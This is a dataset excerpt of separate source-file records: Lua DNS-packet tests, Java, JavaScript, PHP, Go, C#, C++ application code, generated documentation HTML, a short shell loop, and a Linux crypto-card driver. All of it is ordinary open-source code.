sections\n\tok(pkt:begin(kres.section.ANSWER), 'switching sections works')\n\tlocal res, err = pkt:put(nil, 0, 0, 0, '')\n\tisnt(res, true, 'inserting nil entry doesnt work')\n\tisnt(err.code, 0, 'error code is non-zero')\n\tisnt(tostring(res), '', 'inserting nil returns invalid parameter')\n\tok(pkt:put(pkt:qname(), 900, pkt:qclass(), kres.type.A, '\\1\\2\\3\\4'), 'adding rrsets works')\n\tboom(pkt.begin, {pkt, 10}, 'switching to invalid section doesnt work')\n\tok(pkt:begin(kres.section.ADDITIONAL), 'switching to different section works')\n\tboom(pkt.begin, {pkt, 0}, 'rewinding sections doesnt work')\n\tlocal before_insert = pkt:remaining_bytes()\n\tok(pkt:put(pkt:qname(), 900, pkt:qclass(), kres.type.A, '\\4\\3\\2\\1'), 'adding rrsets to different section works')\n\tsame(pkt:remaining_bytes(), before_insert - (2 + 4 + 4 + 2 + 4), 'remaining bytes count goes down with insertions')\n\t-- Test conversions to text\n\tlike(pkt:tostring(), '->>HEADER<<-', 'packet to text works')\n\t-- Test deserialization\n\tlocal wire = pkt:towire()\n\tsame(#wire, 55, 'packet serialization works')\n\tlocal parsed = kres.packet(#wire, wire)\n\tisnt(parsed, nil, 'creating packet from wire works')\n\tok(parsed:parse(), 'parsing packet from wire works')\n\tsame(parsed:qname(), pkt:qname(), 'parsed packet has same QNAME')\n\tsame(parsed:qtype(), pkt:qtype(), 'parsed packet has same QTYPE')\n\tsame(parsed:qclass(), pkt:qclass(), 'parsed packet has same QCLASS')\n\tsame(parsed:opcode(), pkt:opcode(), 'parsed packet has same opcode')\n\tsame(parsed:rcode(), pkt:rcode(), 'parsed packet has same rcode')\n\tsame(parsed:rd(), pkt:rd(), 'parsed packet has same RD')\n\tsame(parsed:id(), pkt:id(), 'parsed packet has same MSGID')\n\tsame(parsed:qdcount(), pkt:qdcount(), 'parsed packet has same question count')\n\tsame(parsed:ancount(), pkt:ancount(), 'parsed packet has same answer count')\n\tsame(parsed:nscount(), pkt:nscount(), 'parsed packet has same authority count')\n\tsame(parsed:arcount(), pkt:arcount(), 'parsed packet has same additional count')\n\tsame(parsed:tostring(), pkt:tostring(), 'parsed packet is equal to source packet')\n\n\t-- Test adding RR sets directly\n\tlocal copy = kres.packet(512)\n\tcopy:question(todname('hello'), kres.class.IN, kres.type.A)\n\tcopy:begin(kres.section.ANSWER)\n\tlocal rr = kres.rrset(pkt:qname(), kres.type.A, kres.class.IN, 66)\n\trr:add_rdata('\\4\\3\\2\\1', 4)\n\tok(copy:put_rr(rr), 'adding RR sets directly works')\n\tok(copy:recycle(), 'recycling packet works')\n\n\t-- Test recycling of packets\n\t-- Clear_payload keeps header + question intact\n\tlocal cleared = kres.packet(#wire, wire) -- same as \"parsed\" above\n\tok(cleared:parse(), 'parsing packet from wire works')\n\tok(cleared:clear_payload(), 'clear_payload works')\n\tsame(cleared:id(), pkt:id(), 'cleared packet has same MSGID')\n\tsame(cleared:qr(), pkt:qr(), 'cleared packet has same QR')\n\tsame(cleared:opcode(), pkt:opcode(), 'cleared packet has same OPCODE')\n\tsame(cleared:aa(), pkt:aa(), 'cleared packet has same AA')\n\tsame(cleared:tc(), pkt:tc(), 'cleared packet has same TC')\n\tsame(cleared:rd(), pkt:rd(), 'cleared packet has same RD')\n\tsame(cleared:ra(), pkt:ra(), 'cleared packet has same RA')\n\tsame(cleared:ad(), pkt:ad(), 'cleared packet has same AD')\n\tsame(cleared:cd(), pkt:cd(), 'cleared packet has same CD')\n\tsame(cleared:rcode(), pkt:rcode(), 'cleared packet has same RCODE')\n\tsame(cleared:qdcount(), pkt:qdcount(), 'cleared packet has same question count')\n\tsame(cleared:ancount(), 0, 'cleared packet has no answers')\n\tsame(cleared:nscount(), 0, 'cleared packet has no authority')\n\tsame(cleared:arcount(), 0, 'cleared packet has no additional')\n\tsame(cleared:qname(), pkt:qname(), 'cleared packet has same QNAME')\n\tsame(cleared:qtype(), pkt:qtype(), 'cleared packet has same QTYPE')\n\tsame(cleared:qclass(), pkt:qclass(), 'cleared packet has same QCLASS')\n\n\t-- Recycle clears question as well\n\tok(pkt:recycle(), 'recycle() works')\n\tis(pkt:ancount(), 0, 'recycle() clears records')\n\tis(pkt:qname(), nil, 'recycle() clears question')\n\tis(#pkt:towire(), 12, 'recycle() clears the packet wireformat')\nend\n\n-- test JSON encode/decode functions\nlocal function test_json_functions()\n\tfor msg, obj in pairs({\n\t\t\t['number'] = 0,\n\t\t\t['string'] = 'ok',\n\t\t\t['list'] = {1, 2, 3},\n\t\t\t['map'] = {foo='bar'},\n\t\t\t['nest structure'] = {foo='bar', baz={1,2,3}},\n\t}) do\n\t\tsame(fromjson(tojson(obj)), obj, 'json test: ' .. msg)\n\tend\n\n\tfor _, str in ipairs({\n\t\t\t'{', '}',\n\t\t\t'[', ']',\n\t\t\t'x,',\n\t\t\t'[1,2,3,]',\n\t}) do\n\t\tboom(fromjson, {'{'}, 'json test: invalid \\'' .. str .. '\\'')\n\tend\nend\n\nreturn {\n\ttest_constants,\n\ttest_globals,\n\ttest_rrset_functions,\n\ttest_packet_functions,\n\ttest_json_functions,\n}\n"}
+{"text": "/*\n * Copyright (c) 2016-2017, Adam \n * Copyright (c) 2018, Tomas Slusny \n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n *    list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n *    this list of conditions and the following disclaimer in the documentation\n *    and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\npackage net.runelite.client.rs;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lombok.Getter;\n\n@Getter\nclass RSConfig\n{\n\tprivate final Map appletProperties = new HashMap<>();\n\tprivate final Map classLoaderProperties = new HashMap<>();\n\n\tString getCodeBase()\n\t{\n\t\treturn classLoaderProperties.get(\"codebase\");\n\t}\n\n\tvoid setCodebase(String codebase)\n\t{\n\t\tclassLoaderProperties.put(\"codebase\", codebase);\n\t}\n\n\tString getInitialJar()\n\t{\n\t\treturn classLoaderProperties.get(\"initial_jar\");\n\t}\n\n\tString getInitialClass()\n\t{\n\t\treturn classLoaderProperties.get(\"initial_class\").replace(\".class\", \"\");\n\t}\n\n\tboolean isFallback()\n\t{\n\t\treturn getRuneLiteGamepack() != null;\n\t}\n\n\tString getRuneLiteGamepack()\n\t{\n\t\treturn classLoaderProperties.get(\"runelite.gamepack\");\n\t}\n\n\tString getRuneLiteWorldParam()\n\t{\n\t\treturn classLoaderProperties.get(\"runelite.worldparam\");\n\t}\n}\n"}
+{"text": "'use strict';\n\nmodule.exports = require('./is-implemented')() ?\n\t\tArray.prototype.find : require('./shim');\n"}
+{"text": "\n *\n * This source file is subject to the MIT license that is bundled\n * with this source code in the file LICENSE.\n */\n\nnamespace App\\Commands;\n\nuse Symfony\\Component\\Console\\Input\\InputArgument;\n\n/**\n * make test command.\n *\n * @author overtrue \n */\nclass MakeTraitTestCommand extends Command\n{\n    use Traits\\GitUserTrait, Traits\\TemplateRenderTrait;\n\n    protected $name = 'make:test_trait';\n    protected $description = '创建 Trait 的测试文件';\n    protected $arguments = [\n        ['trait', InputArgument::OPTIONAL, 'trait 类名：App\\Traits\\AppApi（可以省掉前面的 App\\Traits）'],\n    ];\n\n    public function handle()\n    {\n        $trait = $this->formatTraitName($this->argument('trait'));\n\n        $parts = explode('\\\\', $trait);\n\n        $replacements = [\n            'username' => $this->getUsername(),\n            'email' => $this->getEmail(),\n            'trait' => end($parts),\n            'trait_fullname' => $trait,\n        ];\n\n        $filename = str_replace('\\\\', '/', str_replace('App\\Traits\\\\', '', $trait)).'Test.php';\n\n        $file = BASE_PATH.\"/tests/traits/{$filename}\";\n\n        $this->renderAndSave('trait', $replacements, $file);\n\n        exec('composer dump');\n    }\n\n    /**\n     * 格式化输入的 trait 名称.\n     *\n     * @param string $name\n     *\n     * @return string\n     */\n    public function formatTraitName($name)\n    {\n        $replacements = [\n            '_' => ' ',\n            '\\\\' => ' ',\n        ];\n\n        $name = str_replace(array_keys($replacements), $replacements, $name);\n        $name = trim(str_replace(' ', '\\\\', ucwords($name)), '\\\\');\n        $name = str_replace('App\\Traits\\\\', '', $name);\n\n        return 'App\\Traits\\\\'.$name;\n    }\n}\n"}
+{"text": "/*\n * angular-marked\n * (c) 2014 - 2016 J. Harshbarger\n * Licensed MIT\n */\n\n/* global angular, marked */\n\n'use strict';\n\nvar unindent = require('./strip-indent');\n\n  /**\n   * @ngdoc overview\n   * @name index\n   *\n   * @description\n   * AngularJS Markdown using [marked](https://github.com/chjj/marked).\n   *\n   * ## Why?\n   *\n   * I wanted to use [marked](https://github.com/chjj/marked) instead of [showdown](https://github.com/coreyti/showdown) as used in [angular-markdown-directive](https://github.com/btford/angular-markdown-directive) as well as expose the option to globally set defaults.\n   *\n   * ## How?\n   *\n   * - {@link hc.marked.directive:marked As a directive}\n   * - {@link hc.marked.service:marked As a service}\n   * - {@link hc.marked.service:markedProvider Set default options}\n   *\n   * @example\n\n      Convert markdown to html at run time.  For example:\n\n      \n        \n          
    \n            Markdown:
    \n            
    \n            Output:
    \n            
    \n          \n        \n        \n          function MainController($scope) {\n            $scope.my_markdown = \"*This* **is** [markdown](https://daringfireball.net/projects/markdown/)\";\n          }\n          angular.module('app', ['hc.marked']).controller('MainController', MainController);\n        \n      \n\n    *\n    */\n\n    /**\n     * @ngdoc overview\n     * @name hc.marked\n     * @description # angular-marked (core module)\n       # Installation\n      First include angular-marked.js in your HTML:\n\n      ```js\n        \n\n\n\n\n\n\n\n\n\n
    \n
    \n\n \n \n  \n  \n \n \n
    \"Logo\"\n   
    CUTLASS\n   
    \n   
    CUDA Templates for Linear Algebra Subroutines and Solvers
    \n  
    \n
    \n\n\n\n  
    \n    \n  
    \n  \n\n
    \n
    \n\n\n
    \n\n
    \n\n\n
    \n
    \n  
    \n
    cutlass::reference::host::detail::TensorFillDiagonalFunc< Element, Layout > Member List
      
    \n
    \n
    \n\n
    This is the complete list of members for cutlass::reference::host::detail::TensorFillDiagonalFunc< Element, Layout >, including all inherited members.
    \n\n  \n  \n  \n  \n  \n  \n
    diagcutlass::reference::host::detail::TensorFillDiagonalFunc< Element, Layout >
    operator()(Coord< Layout::kRank > const &coord) const cutlass::reference::host::detail::TensorFillDiagonalFunc< Element, Layout >inline
    othercutlass::reference::host::detail::TensorFillDiagonalFunc< Element, Layout >
    TensorFillDiagonalFunc(TensorView const &view_=TensorView(), Element diag_=Element(1), Element other_=Element(0))cutlass::reference::host::detail::TensorFillDiagonalFunc< Element, Layout >inline
    TensorView typedefcutlass::reference::host::detail::TensorFillDiagonalFunc< Element, Layout >
    viewcutlass::reference::host::detail::TensorFillDiagonalFunc< Element, Layout >
    \n\n
    \nGenerated by  \n\"doxygen\"/\n 1.8.11\n
    \n\n\n"}
+{"text": "/*\n * Copyright (c) 2008 Stephan Aßmus . All rights reserved.\n * Distributed under the terms of the MIT/X11 license.\n *\n * Copyright (c) 1999 Mike Steed. You are free to use and distribute this\n * software as long as it is accompanied by it's documentation and this\n * copyright notice. The software comes with no warranty, etc.\n */\n\n\n#include \"App.h\"\n\n#include \n\n#include \n#include \n#include \n#include \n#include \n\n#include \"DiskUsage.h\"\n#include \"MainWindow.h\"\n\n\nApp::App()\n\t:\n\tBApplication(kAppSignature),\n\tfMainWindow(NULL),\n\tfSavedRefsReceived(NULL)\n{\n}\n\n\nApp::~App()\n{\n\tdelete fSavedRefsReceived;\n}\n\n\nvoid\nApp::ArgvReceived(int32 argc, char** argv)\n{\n\tBMessage refsReceived(B_REFS_RECEIVED);\n\tfor (int32 i = 1; i < argc; i++) {\n\t\tBEntry entry(argv[i], true);\n\t\tentry_ref ref;\n\t\tif (entry.GetRef(&ref) == B_OK)\n\t\t\trefsReceived.AddRef(\"refs\", &ref);\n\t}\n\tif (refsReceived.HasRef(\"refs\"))\n\t\tPostMessage(&refsReceived);\n}\n\n\nvoid\nApp::RefsReceived(BMessage* message)\n{\n\tif (!message->HasRef(\"refs\") && message->HasRef(\"dir_ref\")) {\n\t\tentry_ref dirRef;\n\t\tif (message->FindRef(\"dir_ref\", &dirRef) == B_OK)\n\t\t\tmessage->AddRef(\"refs\", &dirRef);\n\t}\n\n\tif (fMainWindow == NULL) {\n\t\t// ReadyToRun() has not been called yet, this happens when someone\n\t\t// launches us with a B_REFS_RECEIVED message.\n\t\tdelete fSavedRefsReceived;\n\t\tfSavedRefsReceived = new BMessage(*message);\n\t} else\n\t\tfMainWindow->PostMessage(message);\n}\n\n\nvoid\nApp::ReadyToRun()\n{\n\tBRect frame;\n\n\tBPath path;\n\tBFile settingsFile;\n\tBMessage settings;\n\tif (find_directory(B_USER_SETTINGS_DIRECTORY, &path) != B_OK\n\t\t|| path.Append(\"DiskUsage\") != B_OK\n\t\t|| settingsFile.SetTo(path.Path(), B_READ_ONLY) != B_OK\n\t\t|| settings.Unflatten(&settingsFile) != B_OK\n\t\t|| settings.FindRect(\"window frame\", &frame) != B_OK) {\n\t\t// use default window frame\n\t\tframe.Set(0, 0, kDefaultPieSize, kDefaultPieSize);\n\t\tframe.OffsetTo(50, 50);\n\t}\n\n\tfMainWindow = new MainWindow(frame);\n\tfMainWindow->Show();\n\n\tif (fSavedRefsReceived) {\n\t\t// RefsReceived() was called earlier than ReadyToRun()\n\t\tfMainWindow->PostMessage(fSavedRefsReceived);\n\t\tdelete fSavedRefsReceived;\n\t\tfSavedRefsReceived = NULL;\n\t}\n}\n\n\nbool\nApp::QuitRequested()\n{\n\t// Save the settings.\n\tBPath path;\n\tBFile settingsFile;\n\tBMessage settings;\n\tif (settings.AddRect(\"window frame\", fMainWindow->Frame()) != B_OK\n\t\t|| find_directory(B_USER_SETTINGS_DIRECTORY, &path) != B_OK\n\t\t|| path.Append(\"DiskUsage\") != B_OK\n\t\t|| settingsFile.SetTo(path.Path(),\n\t\t\tB_CREATE_FILE | B_WRITE_ONLY | B_ERASE_FILE) != B_OK\n\t\t|| settings.Flatten(&settingsFile) != B_OK) {\n\t\tfprintf(stderr, \"Failed to write application settings.\\n\");\n\t}\n\n\treturn BApplication::QuitRequested();\n}\n"}
+{"text": "package datadog\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/DataDog/datadog-go/statsd\"\n\t\"github.com/armon/go-metrics\"\n)\n\n// DogStatsdSink provides a MetricSink that can be used\n// with a dogstatsd server. It utilizes the Dogstatsd client at github.com/DataDog/datadog-go/statsd\ntype DogStatsdSink struct {\n\tclient            *statsd.Client\n\thostName          string\n\tpropagateHostname bool\n}\n\n// NewDogStatsdSink is used to create a new DogStatsdSink with sane defaults\nfunc NewDogStatsdSink(addr string, hostName string) (*DogStatsdSink, error) {\n\tclient, err := statsd.New(addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsink := &DogStatsdSink{\n\t\tclient:            client,\n\t\thostName:          hostName,\n\t\tpropagateHostname: false,\n\t}\n\treturn sink, nil\n}\n\n// SetTags sets common tags on the Dogstatsd Client that will be sent\n// along with all dogstatsd packets.\n// Ref: http://docs.datadoghq.com/guides/dogstatsd/#tags\nfunc (s *DogStatsdSink) SetTags(tags []string) {\n\ts.client.Tags = tags\n}\n\n// EnableHostnamePropagation forces a Dogstatsd `host` tag with the value specified by `s.HostName`\n// Since the go-metrics package has its own mechanism for attaching a hostname to metrics,\n// setting the `propagateHostname` flag ensures that `s.HostName` overrides the host tag naively set by the DogStatsd server\nfunc (s *DogStatsdSink) EnableHostNamePropagation() {\n\ts.propagateHostname = true\n}\n\nfunc (s *DogStatsdSink) flattenKey(parts []string) string {\n\tjoined := strings.Join(parts, \".\")\n\treturn strings.Map(sanitize, joined)\n}\n\nfunc sanitize(r rune) rune {\n\tswitch r {\n\tcase ':':\n\t\tfallthrough\n\tcase ' ':\n\t\treturn '_'\n\tdefault:\n\t\treturn r\n\t}\n}\n\nfunc (s *DogStatsdSink) parseKey(key []string) ([]string, []metrics.Label) {\n\t// Since DogStatsd supports dimensionality via tags on metric keys, this sink's approach is to splice the hostname out of the key in favor of a `host` tag\n\t// The `host` tag is either forced here, or set downstream by the DogStatsd server\n\n\tvar labels []metrics.Label\n\thostName := s.hostName\n\n\t// Splice the hostname out of the key\n\tfor i, el := range key {\n\t\tif el == hostName {\n\t\t\tkey = append(key[:i], key[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif s.propagateHostname {\n\t\tlabels = append(labels, metrics.Label{\"host\", hostName})\n\t}\n\treturn key, labels\n}\n\n// Implementation of methods in the MetricSink interface\n\nfunc (s *DogStatsdSink) SetGauge(key []string, val float32) {\n\ts.SetGaugeWithLabels(key, val, nil)\n}\n\nfunc (s *DogStatsdSink) IncrCounter(key []string, val float32) {\n\ts.IncrCounterWithLabels(key, val, nil)\n}\n\n// EmitKey is not implemented since DogStatsd does not provide a metric type that holds an\n// arbitrary number of values\nfunc (s *DogStatsdSink) EmitKey(key []string, val float32) {\n}\n\nfunc (s *DogStatsdSink) AddSample(key []string, val float32) {\n\ts.AddSampleWithLabels(key, val, nil)\n}\n\n// The following ...WithLabels methods correspond to Datadog's Tag extension to Statsd.\n// http://docs.datadoghq.com/guides/dogstatsd/#tags\nfunc (s *DogStatsdSink) SetGaugeWithLabels(key []string, val float32, labels []metrics.Label) {\n\tflatKey, tags := s.getFlatkeyAndCombinedLabels(key, labels)\n\trate := 1.0\n\ts.client.Gauge(flatKey, float64(val), tags, rate)\n}\n\nfunc (s *DogStatsdSink) IncrCounterWithLabels(key []string, val float32, labels []metrics.Label) {\n\tflatKey, tags := s.getFlatkeyAndCombinedLabels(key, labels)\n\trate := 1.0\n\ts.client.Count(flatKey, int64(val), tags, rate)\n}\n\nfunc (s *DogStatsdSink) AddSampleWithLabels(key []string, val float32, labels []metrics.Label) {\n\tflatKey, tags := s.getFlatkeyAndCombinedLabels(key, labels)\n\trate := 1.0\n\ts.client.TimeInMilliseconds(flatKey, float64(val), tags, rate)\n}\n\nfunc (s *DogStatsdSink) getFlatkeyAndCombinedLabels(key []string, labels []metrics.Label) (string, []string) {\n\tkey, parsedLabels := s.parseKey(key)\n\tflatKey := s.flattenKey(key)\n\tlabels = append(labels, parsedLabels...)\n\n\tvar tags []string\n\tfor _, label := range labels {\n\t\tlabel.Name = strings.Map(sanitize, label.Name)\n\t\tlabel.Value = strings.Map(sanitize, label.Value)\n\t\tif label.Value != \"\" {\n\t\t\ttags = append(tags, fmt.Sprintf(\"%s:%s\", label.Name, label.Value))\n\t\t} else {\n\t\t\ttags = append(tags, label.Name)\n\t\t}\n\t}\n\n\treturn flatKey, tags\n}\n"}
+{"text": "echo while begins\n\n    while cat /tmp/foo.txt | grep -qi foo\n\n\nsleep 1\necho foo is good in while\n\n    done\n\necho the end\n"}
+{"text": "// Copyright 2017 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage socket\n\nconst (\n\tsysRECVMMSG = 0x10ef\n\tsysSENDMMSG = 0x10f7\n)\n"}
+{"text": "/* Copyright (c) 2012-2017 The ANTLR Project. All rights reserved.\n * Use of this file is governed by the BSD 3-clause license that\n * can be found in the LICENSE.txt file in the project root.\n */\nusing System.Collections.Generic;\nusing Antlr4.Runtime.Sharpen;\nusing Antlr4.Runtime.Tree;\nusing Antlr4.Runtime.Tree.Xpath;\n\nnamespace Antlr4.Runtime.Tree.Xpath\n{\n    /// \n    /// Either\n    /// ID\n    /// at start of path or\n    /// ...//ID\n    /// in middle of path.\n    /// \n    public class XPathRuleAnywhereElement : XPathElement\n    {\n        protected internal int ruleIndex;\n\n        public XPathRuleAnywhereElement(string ruleName, int ruleIndex)\n            : base(ruleName)\n        {\n            this.ruleIndex = ruleIndex;\n        }\n\n        public override ICollection Evaluate(IParseTree t)\n        {\n            return Trees.FindAllRuleNodes(t, ruleIndex);\n        }\n    }\n}\n"}
+{"text": "/*\n *  Copyright IBM Corp. 2012\n *  Author(s): Holger Dengler \n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"ap_bus.h\"\n#include \"zcrypt_api.h\"\n#include \"zcrypt_msgtype6.h\"\n#include \"zcrypt_msgtype50.h\"\n#include \"zcrypt_error.h\"\n#include \"zcrypt_cex4.h\"\n\n#define CEX4A_MIN_MOD_SIZE\t  1\t/*    8 bits\t*/\n#define CEX4A_MAX_MOD_SIZE_2K\t256\t/* 2048 bits\t*/\n#define CEX4A_MAX_MOD_SIZE_4K\t512\t/* 4096 bits\t*/\n\n#define CEX4C_MIN_MOD_SIZE\t 16\t/*  256 bits\t*/\n#define CEX4C_MAX_MOD_SIZE\t512\t/* 4096 bits\t*/\n\n#define CEX4A_SPEED_RATING\t900\t /* TODO new card, new speed rating */\n#define CEX4C_SPEED_RATING\t6500\t /* TODO new card, new speed rating */\n#define CEX4P_SPEED_RATING\t7000\t /* TODO new card, new speed rating */\n#define CEX5A_SPEED_RATING\t450\t /* TODO new card, new speed rating */\n#define CEX5C_SPEED_RATING\t3250\t /* TODO new card, new speed rating */\n#define CEX5P_SPEED_RATING\t3500\t /* TODO new card, new speed rating */\n\n#define CEX4A_MAX_MESSAGE_SIZE\tMSGTYPE50_CRB3_MAX_MSG_SIZE\n#define CEX4C_MAX_MESSAGE_SIZE\tMSGTYPE06_MAX_MSG_SIZE\n\n/* Waiting time for requests to be processed.\n * Currently there are some types of request which are not deterministic.\n * But the maximum time limit managed by the stomper code is set to 60sec.\n * Hence we have to wait at least that time period.\n */\n#define CEX4_CLEANUP_TIME\t(61*HZ)\n\nstatic struct ap_device_id zcrypt_cex4_ids[] = {\n\t{ AP_DEVICE(AP_DEVICE_TYPE_CEX4)  },\n\t{ AP_DEVICE(AP_DEVICE_TYPE_CEX5)  },\n\t{ /* end of list */ },\n};\n\nMODULE_DEVICE_TABLE(ap, zcrypt_cex4_ids);\nMODULE_AUTHOR(\"IBM Corporation\");\nMODULE_DESCRIPTION(\"CEX4 Cryptographic Card device driver, \" \\\n\t\t   \"Copyright IBM Corp. 2012\");\nMODULE_LICENSE(\"GPL\");\n\nstatic int zcrypt_cex4_probe(struct ap_device *ap_dev);\nstatic void zcrypt_cex4_remove(struct ap_device *ap_dev);\n\nstatic struct ap_driver zcrypt_cex4_driver = {\n\t.probe = zcrypt_cex4_probe,\n\t.remove = zcrypt_cex4_remove,\n\t.ids = zcrypt_cex4_ids,\n\t.request_timeout = CEX4_CLEANUP_TIME,\n};\n\n/**\n * Probe function for CEX4 cards. It always accepts the AP device\n * since the bus_match already checked the hardware type.\n * @ap_dev: pointer to the AP device.\n */\nstatic int zcrypt_cex4_probe(struct ap_device *ap_dev)\n{\n\tstruct zcrypt_device *zdev = NULL;\n\tint rc = 0;\n\n\tswitch (ap_dev->device_type) {\n\tcase AP_DEVICE_TYPE_CEX4:\n\tcase AP_DEVICE_TYPE_CEX5:\n\t\tif (ap_test_bit(&ap_dev->functions, AP_FUNC_ACCEL)) {\n\t\t\tzdev = zcrypt_device_alloc(CEX4A_MAX_MESSAGE_SIZE);\n\t\t\tif (!zdev)\n\t\t\t\treturn -ENOMEM;\n\t\t\tif (ap_dev->device_type == AP_DEVICE_TYPE_CEX4) {\n\t\t\t\tzdev->type_string = \"CEX4A\";\n\t\t\t\tzdev->speed_rating = CEX4A_SPEED_RATING;\n\t\t\t} else {\n\t\t\t\tzdev->type_string = \"CEX5A\";\n\t\t\t\tzdev->speed_rating = CEX5A_SPEED_RATING;\n\t\t\t}\n\t\t\tzdev->user_space_type = ZCRYPT_CEX3A;\n\t\t\tzdev->min_mod_size = CEX4A_MIN_MOD_SIZE;\n\t\t\tif (ap_test_bit(&ap_dev->functions, AP_FUNC_MEX4K) &&\n\t\t\t    ap_test_bit(&ap_dev->functions, AP_FUNC_CRT4K)) {\n\t\t\t\tzdev->max_mod_size =\n\t\t\t\t\tCEX4A_MAX_MOD_SIZE_4K;\n\t\t\t\tzdev->max_exp_bit_length =\n\t\t\t\t\tCEX4A_MAX_MOD_SIZE_4K;\n\t\t\t} else {\n\t\t\t\tzdev->max_mod_size =\n\t\t\t\t\tCEX4A_MAX_MOD_SIZE_2K;\n\t\t\t\tzdev->max_exp_bit_length =\n\t\t\t\t\tCEX4A_MAX_MOD_SIZE_2K;\n\t\t\t}\n\t\t\tzdev->short_crt = 1;\n\t\t\tzdev->ops = zcrypt_msgtype_request(MSGTYPE50_NAME,\n\t\t\t\t\t\t\t   MSGTYPE50_VARIANT_DEFAULT);\n\t\t} else if (ap_test_bit(&ap_dev->functions, AP_FUNC_COPRO)) {\n\t\t\tzdev = zcrypt_device_alloc(CEX4C_MAX_MESSAGE_SIZE);\n\t\t\tif (!zdev)\n\t\t\t\treturn -ENOMEM;\n\t\t\tif (ap_dev->device_type == AP_DEVICE_TYPE_CEX4) {\n\t\t\t\tzdev->type_string = \"CEX4C\";\n\t\t\t\tzdev->speed_rating = CEX4C_SPEED_RATING;\n\t\t\t} else {\n\t\t\t\tzdev->type_string = \"CEX5C\";\n\t\t\t\tzdev->speed_rating = CEX5C_SPEED_RATING;\n\t\t\t}\n\t\t\tzdev->user_space_type = ZCRYPT_CEX3C;\n\t\t\tzdev->min_mod_size = CEX4C_MIN_MOD_SIZE;\n\t\t\tzdev->max_mod_size = CEX4C_MAX_MOD_SIZE;\n\t\t\tzdev->max_exp_bit_length = CEX4C_MAX_MOD_SIZE;\n\t\t\tzdev->short_crt = 0;\n\t\t\tzdev->ops = zcrypt_msgtype_request(MSGTYPE06_NAME,\n\t\t\t\t\t\t\t   MSGTYPE06_VARIANT_DEFAULT);\n\t\t} else if (ap_test_bit(&ap_dev->functions, AP_FUNC_EP11)) {\n\t\t\tzdev = zcrypt_device_alloc(CEX4C_MAX_MESSAGE_SIZE);\n\t\t\tif (!zdev)\n\t\t\t\treturn -ENOMEM;\n\t\t\tif (ap_dev->device_type == AP_DEVICE_TYPE_CEX4) {\n\t\t\t\tzdev->type_string = \"CEX4P\";\n\t\t\t\tzdev->speed_rating = CEX4P_SPEED_RATING;\n\t\t\t} else {\n\t\t\t\tzdev->type_string = \"CEX5P\";\n\t\t\t\tzdev->speed_rating = CEX5P_SPEED_RATING;\n\t\t\t}\n\t\t\tzdev->user_space_type = ZCRYPT_CEX4;\n\t\t\tzdev->min_mod_size = CEX4C_MIN_MOD_SIZE;\n\t\t\tzdev->max_mod_size = CEX4C_MAX_MOD_SIZE;\n\t\t\tzdev->max_exp_bit_length = CEX4C_MAX_MOD_SIZE;\n\t\t\tzdev->short_crt = 0;\n\t\t\tzdev->ops = zcrypt_msgtype_request(MSGTYPE06_NAME,\n\t\t\t\t\t\t\tMSGTYPE06_VARIANT_EP11);\n\t\t}\n\t\tbreak;\n\t}\n\tif (!zdev)\n\t\treturn -ENODEV;\n\tzdev->ap_dev = ap_dev;\n\tzdev->online = 1;\n\tap_dev->reply = &zdev->reply;\n\tap_dev->private = zdev;\n\trc = zcrypt_device_register(zdev);\n\tif (rc) {\n\t\tzcrypt_msgtype_release(zdev->ops);\n\t\tap_dev->private = NULL;\n\t\tzcrypt_device_free(zdev);\n\t}\n\treturn rc;\n}\n\n/**\n * This is called to remove the extended CEX4 driver information\n * if an AP device is removed.\n */\nstatic void zcrypt_cex4_remove(struct ap_device *ap_dev)\n{\n\tstruct zcrypt_device *zdev = ap_dev->private;\n\tstruct zcrypt_ops *zops;\n\n\tif (zdev) {\n\t\tzops = zdev->ops;\n\t\tzcrypt_device_unregister(zdev);\n\t\tzcrypt_msgtype_release(zops);\n\t}\n}\n\nint __init zcrypt_cex4_init(void)\n{\n\treturn ap_driver_register(&zcrypt_cex4_driver, THIS_MODULE, \"cex4\");\n}\n\nvoid __exit zcrypt_cex4_exit(void)\n{\n\tap_driver_unregister(&zcrypt_cex4_driver);\n}\n\nmodule_init(zcrypt_cex4_init);\nmodule_exit(zcrypt_cex4_exit);\n"}
